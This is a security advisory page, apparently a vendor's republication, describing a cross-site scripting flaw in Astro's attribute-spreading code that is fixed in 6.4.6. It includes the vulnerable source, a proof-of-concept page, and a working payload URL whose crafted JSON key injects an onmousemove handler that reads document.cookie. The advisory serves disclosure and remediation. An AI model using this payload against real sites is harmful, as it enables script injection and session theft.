Summary
The spreadAttributes function in Astro's server-side rendering pipeline iterates over object keys and passes them directly to addAttribute, which interpolates the key into the HTML output without escaping. When a developer uses the spread syntax {...props} on an HTML element and the object keys come from an untrusted source (API, CMS, URL parameters), an attacker can inject arbitrary HTML attributes including event handlers like onmousemove, onclick, or break out of the attribute context entirely to inject new elements.
Details
The vulnerable function is addAttribute at packages/astro/src/runtime/server/render/util.ts:81-141:
export function addAttribute(value: any, key: string, shouldEscape = true, tagName = '') {
if (value == null) {
return '';
}
return markHTMLString(` ${key}="${toAttributeString(value, shouldEscape)}"`); // key interpolated not escaped
}
This function is called from spreadAttributes at packages/astro/src/runtime/server/index.ts:91-92:
for (const [key, value] of Object.entries(values)) {
output += addAttribute(value, key, true, _name);
}
The toAttributeString function escapes the attribute value, but the attribute name key is never validated or escaped. An attacker can craft a JSON object with a key containing " characters to break out of the attribute context and inject event handlers.
Execution flow: User controlled object keys (from API, CMS, URL params) are spread onto element via {...props}. The compiler generates spreadAttributes(props) which iterates with Object.entries() and calls addAttribute(value, key). The key is interpolated as ` ${key}="${escapedValue}"`. A malicious key breaks attribute context, resulting in XSS.
POC
Create an SSR Astro page (src/pages/index.astro):
---
const props = JSON.parse(Astro.url.searchParams.get('props') || '{}');
---
<html>
<body>
<h1>Hello</h1>
<div {...props}>Move mouse here</div>
</body>
</html>
Enable SSR in astro.config.mjs (for URL based demo):
export default defineConfig({
output: 'server'
});
Note: SSR is not required for the vulnerability to exist. In static builds (default), the attack vector is compromised data sources at build time (API, CMS, database). SSR simply makes the PoC easier to demonstrate via URL parameters.
Start the dev server and visit:
http://localhost:4321/?props={"x\" onmousemove=\"alert(document.cookie)\" y":""}
URL encoded:
http://localhost:4321/?props=%7B%22x%5C%22%20onmousemove%3D%5C%22alert(document.cookie)%5C%22%20y%22%3A%22%22%7D
View the HTML source. The output contains:
<div x" onmousemove="alert(document.cookie)" y="">Move mouse here</div>
The key x" onmousemove="alert(document.cookie)" y breaks out of the attribute context. Moving the mouse over the div executes the JavaScript.
Impact
An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any Astro application that spreads object props from untrusted sources onto HTML elements. This is a common pattern when integrating with external APIs or CMS systems. Exploitation enables session hijacking via cookie theft, credential theft by injecting fake login forms or keyloggers, defacement of the rendered page, and redirection to attacker controlled domains.
The vulnerability affects all Astro versions that support spread syntax on HTML elements and is exploitable in SSR, SSG (if build time data is compromised), and hybrid deployments.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2026-54298 has a CVSS score of 4.2 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.4.6); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-54298? CVE-2026-54298 is a medium-severity cross-site scripting (XSS) vulnerability in astro (npm), affecting versions < 6.4.6. It is fixed in 6.4.6. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2026-54298? CVE-2026-54298 has a CVSS score of 4.2 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of astro are affected by CVE-2026-54298? astro (npm) versions < 6.4.6 is affected.
- Is there a fix for CVE-2026-54298? Yes. CVE-2026-54298 is fixed in 6.4.6. Upgrade to this version or later.
- Is CVE-2026-54298 exploitable, and should I be worried? Whether CVE-2026-54298 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-54298 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-54298? Upgrade
astroto 6.4.6 or later.